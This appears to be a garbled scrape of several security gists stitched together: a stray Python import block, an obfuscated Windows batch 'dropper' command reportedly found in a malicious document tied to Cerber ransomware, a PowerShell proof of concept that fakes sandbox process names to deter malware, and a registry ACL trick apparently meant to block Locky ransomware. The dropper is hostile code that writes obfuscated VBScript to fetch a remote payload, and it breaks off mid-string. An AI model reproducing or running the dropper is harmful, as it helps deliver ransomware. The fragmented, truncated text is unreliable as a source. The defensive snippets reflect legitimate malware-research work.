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import datetime
import os
import sys
import pefile
from scapy.all import *
import scapy_http.http
import tempfile
TIME_THRESHOLD = datetime.timedelta(days=3)
@x0rz
x0rz / dropper.INFECTED.bat
Created May 10, 2016 12:48
Command line execution acting as a dropper - found inside a malicious document (probably cerber ransomware)
cmd.exe /V /C set "FKO=%RANDOM%" && (for %i in ("Dim LXZxe0" "suB GdBocmWra2bHN()" "LCtcOqCDnnH=16+11" "On eRROR resUME neXt" "NVJjYA=9+60" "DIm I7U6poXRu,GiWuI,BoUfvWYBUkKj,IUJthZDvQAl" "Y9cKZng13vo=40+64" "IUJthZDvQAl="SVXQDEt1loQ6LlG"" "Q1u0qcM7Qv9Lv=98+61" "I7U6poXRu=SHpwygLQgHdJ("1C354D39787C1D224319463E002C172D5C67213C5F","MtA9IBS2U4nhQr")" "UUlJ36frjukOf=4+85" "seT GiWuI=cReaTeOBJEcT(SHpwygLQgHdJ("1B3132362A075E0A1B7F6E01200F070208",IUJthZDvQAl))" "PjtwgPXl=60+45" "GiWuI.opEN SHpwygLQgHdJ("320C31","KuIefPyEKG7jD28"),I7U6poXRu,0" "LxFoiv6rfAMR6=48+79" "GiWuI.setRequESthEaDer SHpwygLQgHdJ("1359183537","YA8vRRDzISQ1tmJ"),SHpwygLQgHdJ("51212E22364D666B4079","T3XZGEpRXr")" "D0jDQ36=89+30" "GiWuI.sEnd()" "Q30TTtK7H7DXR6BB8=65+76" "If GiWuI.STatUsTexT<>SHpwygLQgHdJ("172A1A0506562B7A0E152127173631","EGKhqo7GZMzOSrX") THen PEIwKPwhVFEYy2a" "L360=60+17" "eND Sub" "Sub NEWtZ()" "GPUDsi=67+57" "TfgjBtEZiAm1I" "Dim TlmAoztjgrep3nIj2,Umdr3G2bHN,FoHwraR,KzSFDJqxxi64,JyU1NQwdLZlhoO" "K0Q2UNY=9+6" "On ERRoR resumE nexT
# Simulate fake processes of analysis sandbox/VM that some malware will try to evade
# This just spawn ping.exe with different names (wireshark.exe, vboxtray.exe, ...)
# It's just a PoC and it's ugly as f*ck but hey, if it works...
# Usage: .\fake_sandbox.ps1 -action {start,stop}
param([Parameter(Mandatory=$true)][string]$action)
$fakeProcesses = @("wireshark.exe", "vmacthlp.exe", "VBoxService.exe",
"VBoxTray.exe", "procmon.exe", "ollydbg.exe", "vmware-tray.exe",
# Create registry Key
New-Item -Path "HKCU:\Software\Locky" -ItemType Key
# Setting ACL
$a = whoami
$acl = Get-Acl HKCU:\SOFTWARE\Locky
$rule = New-Object System.Security.AccessControl.RegistryAccessRule ($a,"FullControl","Deny")
$acl.SetAccessRule($rule)
$acl | Set-Acl -Path HKCU:\SOFTWARE\Locky